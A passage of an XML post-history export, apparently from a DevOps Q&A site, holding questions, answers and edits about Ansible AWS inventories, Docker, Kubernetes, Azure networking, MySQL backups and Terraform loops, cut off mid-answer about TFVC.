  <row Id="38793" PostHistoryTypeId="3" PostId="12631" RevisionGUID="abb057e2-2829-42c9-beee-33f739907c2e" CreationDate="2020-10-23T20:04:11.247" UserId="24436" Text="&lt;docker&gt;&lt;docker-compose&gt;&lt;linux&gt;&lt;nginx&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38794" PostHistoryTypeId="5" PostId="12628" RevisionGUID="c2dbdad7-392e-4211-8b63-cb5985922f18" CreationDate="2020-10-23T21:11:24.023" UserId="739" Comment="fix formatting" Text="Please try with double `//` before `var` in `remoteDirectory: '/var/www/sockets'`." ContentLicense="CC BY-SA 4.0" />
  <row Id="38798" PostHistoryTypeId="50" PostId="9795" RevisionGUID="83d87d2d-4f7f-4ed7-9004-3fa1b1954154" CreationDate="2020-10-24T06:00:10.930" UserId="-1" />
  <row Id="38799" PostHistoryTypeId="50" PostId="12482" RevisionGUID="27fd3572-51f0-40ed-80b2-35b4b7f0db21" CreationDate="2020-10-24T07:01:25.183" UserId="-1" />
  <row Id="38803" PostHistoryTypeId="2" PostId="12633" RevisionGUID="6b427566-f12f-4674-b7a2-8d9cf12764f0" CreationDate="2020-10-24T11:22:14.023" UserId="24440" Text="I am learning about VNETS in Azure and was wondering if it is possible to host a private web app (app service?) and a public one?&#xD;&#xA;&#xD;&#xA;What I want to achieve: I have a private application that shouldn't be connected to the internet and I have a public application that in the backend code needs to connect to the private application. &#xD;&#xA;&#xD;&#xA;These applications are containerized and I was wondering what the best way is to achieve this?" ContentLicense="CC BY-SA 4.0" />
  <row Id="38804" PostHistoryTypeId="1" PostId="12633" RevisionGUID="6b427566-f12f-4674-b7a2-8d9cf12764f0" CreationDate="2020-10-24T11:22:14.023" UserId="24440" Text="How to host 1 private app and 1 public web app via a vnet?" ContentLicense="CC BY-SA 4.0" />
  <row Id="38805" PostHistoryTypeId="3" PostId="12633" RevisionGUID="6b427566-f12f-4674-b7a2-8d9cf12764f0" CreationDate="2020-10-24T11:22:14.023" UserId="24440" Text="&lt;azure&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38810" PostHistoryTypeId="2" PostId="12635" RevisionGUID="4948b661-f896-4b33-865a-be5a7f7dfd5c" CreationDate="2020-10-25T06:22:12.530" UserId="16819" Text="While I haven't worked with `plugin: aws_ec2`, here's some general Ansible information that might help you:&#xD;&#xA;&#xD;&#xA;The order of inventory files matter; the files given first will be read first; the ones read last will take precedence.  In your execution, you're referencing `secrets.yaml` last, so when `aws_ec2.yaml` is read, the secrets are still undefined.&#xD;&#xA;&#xD;&#xA;You're trying to define a variable based on another variable with the same name.  That's asking for trouble; rename the reference variables, as that will help you debugging.&#xD;&#xA;&#xD;&#xA;When defining variables for the inventory, it's generally better to not do that directly on the inventory itself.  See the link below on how to do that:&#xD;&#xA;&#xD;&#xA;https://docs.ansible.com/ansible/latest/user_guide/intro_inventory.html#organizing-host-and-group-variables&#xD;&#xA;&#xD;&#xA;Finally, `keyed_groups`, `regions` and all these other keywords are specific to `aws_ec2`, and they'd work because you have `plugin: aws_ec2` at the top of the first file.   You have no such definition on `secrets.yaml`, so Ansible would probably treat it as a normal inventory file, where that structure would not be accepted.  Your approach here is probably wrong, then.&#xD;&#xA;&#xD;&#xA;Again, I never used that inventory plugin.  It may be the case that the inventory plugin does not allow for variables at that point." ContentLicense="CC BY-SA 4.0" />
  <row Id="38811" PostHistoryTypeId="2" PostId="12636" RevisionGUID="3e5d620c-93c7-42c9-8228-0f644d0173b7" CreationDate="2020-10-25T08:51:47.837" UserId="24447" Text="I'm learning programming(MERN stack) and along with that basic DevOps(linux, containers etc). I've read a lot about software configuration setups(with NGINX, and without, etc), but can't find anywhere regards how well the MERN stack will behave on different server hardware configuration setups.&#xD;&#xA;&#xD;&#xA;I will probably host my app on Linode, for various reasons(price, anti-ddos etc), but I guess it will applicable for alike services too(digital ocean etc).&#xD;&#xA;&#xD;&#xA;So, is there a way to approximately know before deploying, how much my app will need resources? Are there any assumptions I can make regards MongoDB's usage(of RAM, for example?), for example?&#xD;&#xA;&#xD;&#xA;Any info will be valuable for me, thank you." ContentLicense="CC BY-SA 4.0" />
  <row Id="38812" PostHistoryTypeId="1" PostId="12636" RevisionGUID="3e5d620c-93c7-42c9-8228-0f644d0173b7" CreationDate="2020-10-25T08:51:47.837" UserId="24447" Text="How to pick a right hardware configuration setup(server) for MERN stack" ContentLicense="CC BY-SA 4.0" />
  <row Id="38813" PostHistoryTypeId="3" PostId="12636" RevisionGUID="3e5d620c-93c7-42c9-8228-0f644d0173b7" CreationDate="2020-10-25T08:51:47.837" UserId="24447" Text="&lt;configuration&gt;&lt;serverspec&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38814" PostHistoryTypeId="2" PostId="12637" RevisionGUID="7715470a-8952-4e24-bf58-b00670e177bd" CreationDate="2020-10-25T10:51:44.930" UserId="16683" Text="In your manifest, you should set the `spec.containers[0].livenessProbe.httpGet.scheme` to `HTTP` not `HTTPS`.&#xD;&#xA;&#xD;&#xA;This is because you use the option `--port=10251`. As the [documentation](https://kubernetes.io/docs/reference/command-line-tools-reference/kube-scheduler/) said, you should not use the deprecated `--port` option anymore, because it expose the API insecurely.&#xD;&#xA;&#xD;&#xA;You should set the following options: `--port=0 --secure-port=10251` and then you would be able to set the `spec.containers[0].livenessProbe.httpGet.scheme` to `HTTPS`." ContentLicense="CC BY-SA 4.0" />
  <row Id="38819" PostHistoryTypeId="2" PostId="12639" RevisionGUID="31fe0257-bfe4-4ef8-9976-362a4308b855" CreationDate="2020-10-25T21:07:24.963" UserId="24103" Text="I am trying to contextualize a docker container using `cloud-init`.  &#xD;&#xA;Why do I see `[[0;1;31mFAILED[0m] Failed to start` in the OpenStack log?  &#xD;&#xA;What is a likely cause of this error?" ContentLicense="CC BY-SA 4.0" />
  <row Id="38820" PostHistoryTypeId="1" PostId="12639" RevisionGUID="31fe0257-bfe4-4ef8-9976-362a4308b855" CreationDate="2020-10-25T21:07:24.963" UserId="24103" Text="'[[0;1;31mFAILED[0m] Failed to start' when running cloud-init?" ContentLicense="CC BY-SA 4.0" />
  <row Id="38821" PostHistoryTypeId="3" PostId="12639" RevisionGUID="31fe0257-bfe4-4ef8-9976-362a4308b855" CreationDate="2020-10-25T21:07:24.963" UserId="24103" Text="&lt;docker&gt;&lt;cloud-init&gt;&lt;openstack&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38822" PostHistoryTypeId="2" PostId="12640" RevisionGUID="c340b614-2c60-4ca2-9936-c9780ccbf140" CreationDate="2020-10-25T21:07:24.963" UserId="24103" Text="From my rather limited experience, a likely reason is that the command `sudo docker image build` *does not find the docker file*.  &#xD;&#xA;(But a virtual machine may have been successfully created.)" ContentLicense="CC BY-SA 4.0" />
  <row Id="38823" PostHistoryTypeId="2" PostId="12641" RevisionGUID="3079dcb1-2715-40df-a258-baa50c835fd6" CreationDate="2020-10-25T21:16:23.107" UserId="16819" Text="Notice that what you're trying to do is not merging inventories.  Merging inventories happens when you have two fully defined inventories and you try to, well, merge them.  So, you have an inventory with a set of defined hosts, groups and variables and you combine that with another inventory with its own hosts, groups and variables.&#xD;&#xA;&#xD;&#xA;In your example, what you're trying to do is to split the definition of a single inventory.  The `aws_ec2` plugin requires some information so it goes to Amazon and say, 'hey take this info and give me back my inventory'.  You want part of that information in one file, part in another one.&#xD;&#xA;&#xD;&#xA;Once you're using a plugin, the inventory's parsing will be controlled by the plugin, so I don't think there are any guarantees that stuff that works elsewhere (like variables) will work here.&#xD;&#xA;&#xD;&#xA;You can test that; run `ansible-playbook` without secrets.yaml and set each of the variables as extra vars using `-e`:&#xD;&#xA;&#xD;&#xA;    ansible-playbook \&#xD;&#xA;     -i /opt/ansible/inventories/aws_ec2.yaml  \&#xD;&#xA;     -e aws_access_key=xxx \&#xD;&#xA;     -e aws_secret_key=xxx \&#xD;&#xA;     -e aws_security_token=xxx \&#xD;&#xA;     /opt/ansible/playbooks/test.yaml&#xD;&#xA;&#xD;&#xA;If that works, then you have validated that you can use Ansible variables in that place, and you just need to find a proper place to put them.  I'm not sure where exactly to put that, though.&#xD;&#xA;&#xD;&#xA;If you don't mind to put that data elsewhere, the plugin accepts those values you're trying to separate as environment variables:&#xD;&#xA;&#xD;&#xA;    ansible-doc -t inventory aws_ec2&#xD;&#xA;&#xD;&#xA;    - aws_access_key&#xD;&#xA;        The AWS access key to use.&#xD;&#xA;        (Aliases: aws_access_key_id)[Default: (null)]&#xD;&#xA;        set_via:&#xD;&#xA;          env:&#xD;&#xA;          - name: EC2_ACCESS_KEY&#xD;&#xA;          - name: AWS_ACCESS_KEY&#xD;&#xA;          - name: AWS_ACCESS_KEY_ID&#xD;&#xA;        &#xD;&#xA;        type: str&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38824" PostHistoryTypeId="2" PostId="12642" RevisionGUID="2f9c1020-b56d-46ca-8399-f96ad7a9e5c5" CreationDate="2020-10-26T10:35:05.627" UserDisplayName="user24454" Text="I use MySQL statefulset because of latency issues with Azure MYSQL. It is using Persistence Volume Claim and I created it using this documentation https://kubernetes.io/docs/tasks/run-application/run-replicated-stateful-application/.&#xD;&#xA;&#xD;&#xA;I would like to take safe consistent backups &#xD;&#xA;&#xD;&#xA;My ideas:&#xD;&#xA;1) Use cronjob mysqldump but it will not be able to create a full backup and it is adding locks to tables. &#xD;&#xA;2) Use percona xtrabackup but it needs access to /var/lib/mysql so I am not sure if I can achieve that with cron Kubernetes service.&#xD;&#xA;3) Block writes to mysql for some seconds and then do a snapshot of the Persistent Volume using Azure Services.&#xD;&#xA;&#xD;&#xA;Do you have any idea how to do Azure backups on daily basis?" ContentLicense="CC BY-SA 4.0" />
  <row Id="38825" PostHistoryTypeId="1" PostId="12642" RevisionGUID="2f9c1020-b56d-46ca-8399-f96ad7a9e5c5" CreationDate="2020-10-26T10:35:05.627" UserDisplayName="user24454" Text="How to take backups of mysql cluster running as pods in Azure Kubernetes" ContentLicense="CC BY-SA 4.0" />
  <row Id="38826" PostHistoryTypeId="3" PostId="12642" RevisionGUID="2f9c1020-b56d-46ca-8399-f96ad7a9e5c5" CreationDate="2020-10-26T10:35:05.627" UserDisplayName="user24454" Text="&lt;azure-kubernetes-service&gt;&lt;backup&gt;&lt;persistent-volumes&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38827" PostHistoryTypeId="2" PostId="12643" RevisionGUID="96489871-9318-4a7d-9704-b5cb79202606" CreationDate="2020-10-26T11:18:20.550" UserId="5337" Text="Ansible usually takes relative path according to `inventory_dir` &amp; `playbook_dir`:&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;- debug: var=inventory_dir&#xD;&#xA;- debug: var=playbook_dir&#xD;&#xA;```&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38831" PostHistoryTypeId="2" PostId="12645" RevisionGUID="fa25c4e0-dd15-4d88-b3dd-c6b379e2ce0a" CreationDate="2020-10-26T14:16:35.390" UserId="11705" Text="First, Azure DevOps is the next release of Team Foundation Server 2018 (on premise) and Visual Studio Team System (on cloud).&#xD;&#xA;Therefore, Azure DevOps has two flavors, Azure DevOps Service (on cloud) and Azure DevOps Server (on premise). The latest release of Azure DevOps Server is Azure DevOps Server 2020 that released in this October.&#xD;&#xA;&#xD;&#xA;Second, you should not mix TFVC/Git with TFS. TFVC is a centralized source control, was released during the initial release of Team System 2005 (older name of Team Foundation Server). TFVC is also copyright and trade mark of Microsoft. There are other samples of centralized source control such as SVN, CVS, Rational Clear Case.&#xD;&#xA;&#xD;&#xA;Git is a distributed source control. Git is open source and it's not owned by any company.&#xD;&#xA;&#xD;&#xA;If you want to continue work using TFVC, you can still use TFVC within Azure DevOps Service or Azure DevOps Server. Both of these Azure DevOps products still support TFVC.&#xD;&#xA;&#xD;&#xA;For more information, please visit this official docs:&#xD;&#xA;https://docs.microsoft.com/en-us/azure/devops/user-guide/source-control?view=azure-devops" ContentLicense="CC BY-SA 4.0" />
  <row Id="38835" PostHistoryTypeId="5" PostId="3699" RevisionGUID="5c64fa64-ad63-4ab5-b822-55f30fe70264" CreationDate="2020-10-26T18:34:54.647" UserId="24457" Comment="Added that the manual pull can show also simple issues with the same effect, like if you don't have enough disk space." Text="Try do pull your image manually first.&#xD;&#xA;&#xD;&#xA;    docker pull ${DOCKER_REGISTRY}imageNameX:${VERSION}&#xD;&#xA;&#xD;&#xA;And then re-run your compose-file&#xD;&#xA;&#xD;&#xA;It may be a bug using a private registry, or something simple as you don't have enough disk space to pull the image." ContentLicense="CC BY-SA 4.0" />
  <row Id="38836" PostHistoryTypeId="24" PostId="3699" RevisionGUID="5c64fa64-ad63-4ab5-b822-55f30fe70264" CreationDate="2020-10-26T18:34:54.647" Comment="Proposed by 24457 approved by 40 edit id of 1292" ContentLicense="CC BY-SA 4.0" />
  <row Id="38837" PostHistoryTypeId="5" PostId="7961" RevisionGUID="d687b889-1152-451b-8a93-7651a91af76b" CreationDate="2020-10-26T18:34:57.493" UserId="23808" Comment="Grammar and code formatting" Text="Why do you want to create a new Manager node, risking damaging your raft consensus and cie?&#xD;&#xA;&#xD;&#xA;I find it way easier to simply expose the **docker socket** locally, as if you were working inside the node, but with your Windows environment.&#xD;&#xA;&#xD;&#xA;To do so, simply open a **ssh tunnel** that exposes `/var/run/docker.sock`:&#xD;&#xA;&#xD;&#xA;```shell&#xD;&#xA; ssh -M -S ~/.docker.sock \&#xD;&#xA;     -fnNT -4 -L localhost:1337:/var/run/docker.sock \&#xD;&#xA;     USER@MANAGER_IP&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Refer to `man ssh` to see what all these options mean.&#xD;&#xA;&#xD;&#xA;It will open an ssh tunnel; you will still be in your local environment shell, only thing left to do is set the proper `DOCKER_HOST` environment var, so your docker cli is bound to your swarm manager.&#xD;&#xA;&#xD;&#xA;`export DOCKER_HOST=localhost:1337`&#xD;&#xA;&#xD;&#xA;And that's it.&#xD;&#xA;&#xD;&#xA;Note: Docker also includes an option to do this; I've quickly searched for it but can't manage to find it. It's in the most recent version of docker." ContentLicense="CC BY-SA 4.0" />
  <row Id="38838" PostHistoryTypeId="24" PostId="7961" RevisionGUID="d687b889-1152-451b-8a93-7651a91af76b" CreationDate="2020-10-26T18:34:57.493" Comment="Proposed by 23808 approved by 40 edit id of 1293" ContentLicense="CC BY-SA 4.0" />
  <row Id="38843" PostHistoryTypeId="2" PostId="12648" RevisionGUID="23db2aa3-01a0-4a86-a325-81b2b7e96abe" CreationDate="2020-10-26T19:54:16.113" UserId="24394" Text="I am trying to create custom groups, based on tags. I am using this doc as a reference: https://docs.ansible.com/ansible/latest/plugins/inventory.html#inventory-plugins&#xD;&#xA;&#xD;&#xA;As a baseline, in my aws_ec2.yaml file, my keyed_groups are set up as such:&#xD;&#xA;&#xD;&#xA;```keyed_groups:&#xD;&#xA;  - key: tags&#xD;&#xA;    prefix: tag&#xD;&#xA;  - key: placement.region&#xD;&#xA;    prefix: aws_region&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;When I run ansible-inventory --graph, I see these tag groupings:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;@all:&#xD;&#xA;  |--@aws_ec2:&#xD;&#xA;     -hostname&#xD;&#xA;     -hostname&#xD;&#xA;     -etc.&#xD;&#xA;  |--@aws_region_us_west_2:&#xD;&#xA;     -hostname&#xD;&#xA;     -hostname&#xD;&#xA;     -etc.&#xD;&#xA;  |--@tag_Name_dev:&#xD;&#xA;     -hostname&#xD;&#xA;     -hostname&#xD;&#xA;     -etc.&#xD;&#xA;  |--@tag_environment_qa:&#xD;&#xA;     -hostname&#xD;&#xA;     -hostname&#xD;&#xA;     -etc.&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I now want to create groups of hosts based on the above tagging, as per the documentation. &#xD;&#xA;&#xD;&#xA;From the documentation, I see they've set it up like so:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;keyed_groups:&#xD;&#xA;  # add hosts to tag_Name_value groups for each aws_ec2 host's tags.Name variable&#xD;&#xA;  - key: tags.Name&#xD;&#xA;    prefix: tag_Name_&#xD;&#xA;    separator: &quot;&quot;&#xD;&#xA;groups:&#xD;&#xA;  # add hosts to the group development if any of the dictionary's keys or values is the word 'devel'&#xD;&#xA;  development: &quot;'devel' in (tags|list)&quot;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I want to do the same for my aws_ec2.yaml and respective tags, so I try to emulate the example like so:&#xD;&#xA;&#xD;&#xA;My keyed_groups and groups that I want:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;keyed_groups:&#xD;&#xA;  - key: tags&#xD;&#xA;    prefix: tag&#xD;&#xA;  - key: placement.region&#xD;&#xA;    prefix: aws_region&#xD;&#xA;&#xD;&#xA;groups:&#xD;&#xA;  test: &quot;'environment' in (tags|list)&quot;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;When I run ansible-inventory --graph, my output looks the same, as if I never applied the groups directive. I see no &quot;test&quot; group, like the document's example shows a @development group:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;@all:&#xD;&#xA;  |--@aws_ec2:&#xD;&#xA;  |  |--ec2-12-345-678-901.compute-1.amazonaws.com&#xD;&#xA;  |  |--ec2-98-765-432-10.compute-1.amazonaws.com&#xD;&#xA;  |  |--...&#xD;&#xA;  |--@development:&#xD;&#xA;  |  |--ec2-12-345-678-901.compute-1.amazonaws.com&#xD;&#xA;  |  |--ec2-98-765-432-10.compute-1.amazonaws.com&#xD;&#xA;  |--@tag_Name_ECS_Instance:&#xD;&#xA;  |  |--ec2-98-765-432-10.compute-1.amazonaws.com&#xD;&#xA;  |--@tag_Name_Test_Server:&#xD;&#xA;  |  |--ec2-12-345-678-901.compute-1.amazonaws.com&#xD;&#xA;  |--@ungrouped&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;How can I get my inventory yaml to produce these groups like in the example? What is the syntax for matching the patterns? In the document's comment for the groups, it says **&quot;# add hosts to the group development if any of the dictionary's keys or values is the word 'devel'&quot;** &#xD;&#xA;&#xD;&#xA;If any of the key or values is the word &quot;devel&quot;.. so can my pattern contain the word that I am looking for or does it have to be an exact match? &#xD;&#xA;&#xD;&#xA;Also, what does the **&quot;(tags|list)&quot;** syntax signify? I've tried trial and error in trying different pattern matches, and it's not working. &#xD;&#xA;&#xD;&#xA;The doc mentions: **&quot;If a host does not have the variables in the configuration above (in other words, tags.Name, tags, private_ip_address), the host will not be added to groups other than those that the inventory plugin creates and the ansible_host host variable will not be modified.&quot;**&#xD;&#xA;&#xD;&#xA;But my hosts do have the variables in configuration above, meaning they do contain a corresponding tags and private_ip_address value, as shown by ansible-inventory --graph. So the hosts should be added to the custom group I make.&#xD;&#xA;&#xD;&#xA;Any idea how to get this to work? I really need this to work for my environment. Thank you." ContentLicense="CC BY-SA 4.0" />
  <row Id="38844" PostHistoryTypeId="1" PostId="12648" RevisionGUID="23db2aa3-01a0-4a86-a325-81b2b7e96abe" CreationDate="2020-10-26T19:54:16.113" UserId="24394" Text="Ansible/AWS dynamic inventory -- How to create groups based on tags?" ContentLicense="CC BY-SA 4.0" />
  <row Id="38845" PostHistoryTypeId="3" PostId="12648" RevisionGUID="23db2aa3-01a0-4a86-a325-81b2b7e96abe" CreationDate="2020-10-26T19:54:16.113" UserId="24394" Text="&lt;amazon-web-services&gt;&lt;ansible&gt;&lt;amazon-ec2&gt;&lt;linux&gt;&lt;ansible-inventory&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38846" PostHistoryTypeId="5" PostId="12648" RevisionGUID="ad6aa907-e9c7-4aad-9ff2-ad487f3c1f57" CreationDate="2020-10-26T20:07:20.567" UserId="24394" Comment="added 146 characters in body" Text="I am trying to create custom groups, based on tags. I am using this doc as a reference: https://docs.ansible.com/ansible/latest/plugins/inventory.html#inventory-plugins&#xD;&#xA;&#xD;&#xA;As a baseline, in my aws_ec2.yaml file, my keyed_groups are set up as such:&#xD;&#xA;&#xD;&#xA;```keyed_groups:&#xD;&#xA;  - key: tags&#xD;&#xA;    prefix: tag&#xD;&#xA;  - key: placement.region&#xD;&#xA;    prefix: aws_region&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;When I run ansible-inventory --graph, I see these tag groupings:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;@all:&#xD;&#xA;  |--@aws_ec2:&#xD;&#xA;     -hostname&#xD;&#xA;     -hostname&#xD;&#xA;     -etc.&#xD;&#xA;  |--@aws_region_us_west_2:&#xD;&#xA;     -hostname&#xD;&#xA;     -hostname&#xD;&#xA;     -etc.&#xD;&#xA;  |--@tag_Name_dev:&#xD;&#xA;     -hostname&#xD;&#xA;     -hostname&#xD;&#xA;     -etc.&#xD;&#xA;  |--@tag_environment_qa:&#xD;&#xA;     -hostname&#xD;&#xA;     -hostname&#xD;&#xA;     -etc.&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I now want to create groups of hosts based on the above tagging, as per the documentation. &#xD;&#xA;&#xD;&#xA;From the documentation, I see they've set it up like so:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;keyed_groups:&#xD;&#xA;  # add hosts to tag_Name_value groups for each aws_ec2 host's tags.Name variable&#xD;&#xA;  - key: tags.Name&#xD;&#xA;    prefix: tag_Name_&#xD;&#xA;    separator: &quot;&quot;&#xD;&#xA;groups:&#xD;&#xA;  # add hosts to the group development if any of the dictionary's keys or values is the word 'devel'&#xD;&#xA;  development: &quot;'devel' in (tags|list)&quot;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I want to do the same for my aws_ec2.yaml and respective tags, so I try to emulate the example like so:&#xD;&#xA;&#xD;&#xA;My keyed_groups and groups that I want:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;keyed_groups:&#xD;&#xA;  - key: tags&#xD;&#xA;    prefix: tag&#xD;&#xA;  - key: placement.region&#xD;&#xA;    prefix: aws_region&#xD;&#xA;&#xD;&#xA;groups:&#xD;&#xA;  test: &quot;'environment' in (tags|list)&quot;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;When I run ansible-inventory --graph, I see that the @test group is created and the host I want goes under the &quot;test&quot; group I created. But I can't get multiple hosts under it. I want multiple hosts under a group like in the example:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;@all:&#xD;&#xA;  |--@aws_ec2:&#xD;&#xA;  |  |--ec2-12-345-678-901.compute-1.amazonaws.com&#xD;&#xA;  |  |--ec2-98-765-432-10.compute-1.amazonaws.com&#xD;&#xA;  |  |--...&#xD;&#xA;  |--@development:&#xD;&#xA;  |  |--ec2-12-345-678-901.compute-1.amazonaws.com&#xD;&#xA;  |  |--ec2-98-765-432-10.compute-1.amazonaws.com&#xD;&#xA;  |--@tag_Name_ECS_Instance:&#xD;&#xA;  |  |--ec2-98-765-432-10.compute-1.amazonaws.com&#xD;&#xA;  |--@tag_Name_Test_Server:&#xD;&#xA;  |  |--ec2-12-345-678-901.compute-1.amazonaws.com&#xD;&#xA;  |--@ungrouped&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;How can I get my inventory yaml to produce these groups like in the example? And some tags work while others do not. What are the rules for this?  What is the syntax for matching the patterns? In the document's comment for the groups, it says **&quot;# add hosts to the group development if any of the dictionary's keys or values is the word 'devel'&quot;** &#xD;&#xA;&#xD;&#xA;The doc mentions &quot;If any of the key or values is the word 'devel'&quot;.. so can my pattern contain the word that I am looking for or does it have to be an exact match? &#xD;&#xA;&#xD;&#xA;Also, what does the **&quot;(tags|list)&quot;** syntax signify? I've tried trial and error in trying different pattern matches, and it's not working. I've tried &#xD;&#xA;&#xD;&#xA;The doc mentions: **&quot;If a host does not have the variables in the configuration above (in other words, tags.Name, tags, private_ip_address), the host will not be added to groups other than those that the inventory plugin creates and the ansible_host host variable will not be modified.&quot;**&#xD;&#xA;&#xD;&#xA;But my hosts do have the variables in configuration above, meaning they do contain a corresponding tags and private_ip_address value, as shown by ansible-inventory --graph. So the hosts should be added to the custom group I make.&#xD;&#xA;&#xD;&#xA;Any idea how to get this to work? I really need this to work for my environment. Thank you." ContentLicense="CC BY-SA 4.0" />
  <row Id="38848" PostHistoryTypeId="2" PostId="12649" RevisionGUID="34b8e282-91d2-4e04-98ec-d7b33f8595ae" CreationDate="2020-10-26T22:10:13.350" UserDisplayName="user24454" Text="I want to create multiple resources using this:&#xD;&#xA;&#xD;&#xA;    resource &quot;group&quot; &quot;list&quot; {&#xD;&#xA;     g_name      = group_name&#xD;&#xA;     p_name      = project_name&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;The input local variable is nested:&#xD;&#xA;&#xD;&#xA;    &gt; local.input&#xD;&#xA;    {&#xD;&#xA;      &quot;group&quot; = [&#xD;&#xA;        {&#xD;&#xA;          &quot;name&quot; = &quot;group1&quot;&#xD;&#xA;          &quot;projects&quot; = [&#xD;&#xA;            &quot;project1&quot;,&#xD;&#xA;            &quot;project3&quot;,&#xD;&#xA;          ]&#xD;&#xA;        },&#xD;&#xA;        {&#xD;&#xA;          &quot;name&quot; = &quot;group2&quot;&#xD;&#xA;          &quot;projects&quot; = [&#xD;&#xA;            &quot;project18&quot;,&#xD;&#xA;            &quot;project31&quot;,&#xD;&#xA;          ]&#xD;&#xA;        },&#xD;&#xA;      ]&#xD;&#xA;&#xD;&#xA;I am able to transform it into a better form:&#xD;&#xA;&#xD;&#xA;    &gt; flatten([for grp_key, group in local.input.group: [for project in group.projects: { group_name=group.name, project_name=project} ]])&#xD;&#xA;    [&#xD;&#xA;      {&#xD;&#xA;        &quot;group_name&quot; = &quot;group1&quot;&#xD;&#xA;        &quot;project_name&quot; = &quot;project1&quot;&#xD;&#xA;      },&#xD;&#xA;      {&#xD;&#xA;        &quot;group_name&quot; = &quot;group1&quot;&#xD;&#xA;        &quot;project_name&quot; = &quot;project3&quot;&#xD;&#xA;      },&#xD;&#xA;      {&#xD;&#xA;        &quot;group_name&quot; = &quot;group2&quot;&#xD;&#xA;        &quot;project_name&quot; = &quot;project18&quot;&#xD;&#xA;      },&#xD;&#xA;      {&#xD;&#xA;        &quot;group_name&quot; = &quot;group2&quot;&#xD;&#xA;        &quot;project_name&quot; = &quot;project31&quot;&#xD;&#xA;      },&#xD;&#xA;    ]&#xD;&#xA;&#xD;&#xA;I can not use `for_each` because it is not `map` neither `set`.&#xD;&#xA;&#xD;&#xA;How could I create multiple resources using the `for` like:&#xD;&#xA;&#xD;&#xA;    resource &quot;group&quot; &quot;list&quot; {&#xD;&#xA;      for item in ... : &#xD;&#xA;        g_name=item.group_name&#xD;&#xA;        p_name=item.project_name&#xD;&#xA;    }" ContentLicense="CC BY-SA 4.0" />
  <row Id="38849" PostHistoryTypeId="1" PostId="12649" RevisionGUID="34b8e282-91d2-4e04-98ec-d7b33f8595ae" CreationDate="2020-10-26T22:10:13.350" UserDisplayName="user24454" Text="Create dynamic resources using 'for_each' or 'for'" ContentLicense="CC BY-SA 4.0" />
  <row Id="38850" PostHistoryTypeId="3" PostId="12649" RevisionGUID="34b8e282-91d2-4e04-98ec-d7b33f8595ae" CreationDate="2020-10-26T22:10:13.350" UserDisplayName="user24454" Text="&lt;terraform&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38851" PostHistoryTypeId="2" PostId="12650" RevisionGUID="1b6c7b11-7a74-453e-adb5-1aee32b1be6c" CreationDate="2020-10-26T22:22:59.120" UserId="6672" Text="you need to use `count`, and with it you should be able to access item by index: https://www.terraform.io/docs/configuration/resources.html#the-count-object" ContentLicense="CC BY-SA 4.0" />
  <row Id="38855" PostHistoryTypeId="2" PostId="12652" RevisionGUID="7f90f3ad-1e75-494c-8eaa-a39a29b4d89a" CreationDate="2020-10-27T04:08:55.293" UserId="24468" Text="**For reference:** acloudguru website has the **AWS cloud sandbox** embedded to their website, ie anyone logged into acloudguru can simply click on the link and get into aws platform and start utilizing the AWS services.&#xD;&#xA;&#xD;&#xA;**My understanding so far:**&#xD;&#xA;&#xD;&#xA; 1. Create AWS OU (organization unit) for each users with limited privilege&#xD;&#xA;2. Find a way to automate the login to the console such that users can simply login to the console without login. &#xD;&#xA;&#xD;&#xA;Any other approach or AWS services that might do the needful?&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38856" PostHistoryTypeId="1" PostId="12652" RevisionGUID="7f90f3ad-1e75-494c-8eaa-a39a29b4d89a" CreationDate="2020-10-27T04:08:55.293" UserId="24468" Text="How to create cloud providers sandbox environment for an application?" ContentLicense="CC BY-SA 4.0" />
  <row Id="38857" PostHistoryTypeId="3" PostId="12652" RevisionGUID="7f90f3ad-1e75-494c-8eaa-a39a29b4d89a" CreationDate="2020-10-27T04:08:55.293" UserId="24468" Text="&lt;amazon-web-services&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38859" PostHistoryTypeId="2" PostId="12653" RevisionGUID="d3054d02-4c49-4b02-aa95-3b90c2b22b02" CreationDate="2020-10-27T07:05:34.227" UserId="13379" Text="Q: &quot;*What should I do in order to work with Team Foundation Version Control?*&quot;&#xD;&#xA;&#xD;&#xA;A: TL'DR: Use the [TFS command line client, `tf`][1].&#xD;&#xA;&#xD;&#xA;?  But why use TFVC ?&#xD;&#xA;&#xD;&#xA;[Azure DevOps][2] is [confusingly several products.][3] There is the cloud offering: DevOps Services, formerly known as Visual Studio Team Services, formerly, Visual Studio Online, formerly Team Foundation Service.  There is also an On-Premise offering: Azure DevOps Server, formerly known as Team Foundation Server (now 2020, formerly 2019, 2017, 2015, 2013, 2012, 2010, 2018, 2005). They do share a common REST API, albeit the [on-prem lags behind][4]. &#xD;&#xA;&#xD;&#xA;Aside from the delay in getting features into the on-prem variant, the questions of choosing 